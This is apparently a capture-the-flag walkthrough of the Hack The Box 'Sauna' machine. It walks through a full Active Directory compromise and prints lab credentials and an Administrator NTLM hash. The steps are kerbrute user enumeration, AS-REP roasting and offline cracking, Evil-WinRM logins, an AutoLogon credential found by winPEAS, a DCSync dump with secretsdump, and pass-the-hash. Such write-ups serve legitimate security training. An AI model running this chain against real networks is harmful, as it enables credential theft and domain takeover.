Port 445 (crackmapexec)

Enumerate SMB shares with crackmapexec:

crackmapexec smb $IP --shares

Here we learn that the NetBIOS name is sauna and the domain is egotistical-bank.local:

Port 80 (username enumeration)

Recall that crackmapexec found a domain name:

egotistical-bank.local

Add the following entry to /etc/hosts:

10.129.181.201 egotistical-bank.local

In "About Us", we found a list of potential usernames:

Write down a list of possible usernames and save them as users.txt:

fsmith
scoins
hbear
btaylor
sdriver

This [firstname initial][lastname] username pattern is commonly used in HTB boxes. In real world, you may want to generate a list of potential usernames based on emails or company policy.

Port 88 (kerbrute)

Enumerate valid usernames with kerbrute:

kerbrute userenum -d egotistical-bank.local --dc $IP users.txt

Here we found a valid username fsmith@egotistical-bank.local:

Update users.txt:

fsmith

Foothold (ASREProast)

Now we have a valid username fsmith and we don't know his password. In such scenario, we can try ASREProast in order to get a TGT ticket and crack it offline. To learn the theory behind ASREProast, read the following post:

ASREProast with GetNPUsers:

impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip $IP

Note that the / in egotistical-bank.local/ is required, otherwise GetNPUsers won't recognize the string as a domain. It works:

Save the hash to a file named hash.txt:

impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip $IP -outputfile hash.txt

Crack the TGT ticket with John:

john-rockyou hash.txt

The plaintext password is Thestrokes23:

Since port 5985 is open and we have a valid credential fsmith:Thestrokes23, we can get shell with Evil-WinRM:

evil-winrm -i $IP -u fsmith -p Thestrokes23

Get a user shell as fsmith:

Lateral Movement (winPEAS)

Upload winPEAS via Evil-WinRM upload command and run it:

cd C:\Windows\Tasks
upload /usr/share/windows-resources/winPEAS/winPEASx64.exe
.\winPEASx64.exe

winPEAS found an AutoLogon credential svc_loanmanager:Moneymakestheworldgoround!:

However, the user svc_loanmanager does not exist. Further enumeration shows that there exists a user svc_loanmgr:

Try getting shell with credential svc_loanmgr:Moneymakestheworldgoround! via Evil-WinRM:

evil-winrm -i $IP -u svc_loanmgr -p Moneymakestheworldgoround!

Get shell as svc_loanmgr:

Privilege Escalation (DCSync)

Upload adPEAS via Evil-WinRM upload command and run it:

cd C:\Windows\Tasks
upload /usr/share/windows-resources/adPEAS/adPEAS.ps1
. .\adPEAS.ps1
Invoke-adPEAS

adPEAS found that svc_loanmgr has DCSync rights:

Since we know the credential of svc_loanmgr, we can do DCSync with secretsdump from Kali:

impacket-secretsdump 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!'@$IP

secretsdump found Administrator's NTLM hash:

The NTLM hash is:

823452073d75b9d1cf70ebdf86c7f98e

Recall that Evil-WinRM can do pass the hash, therefore we don't have to crack this hash. Try pass the hash with Evil-WinRM:

evil-winrm -i $IP -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Get SYSTEM shell:
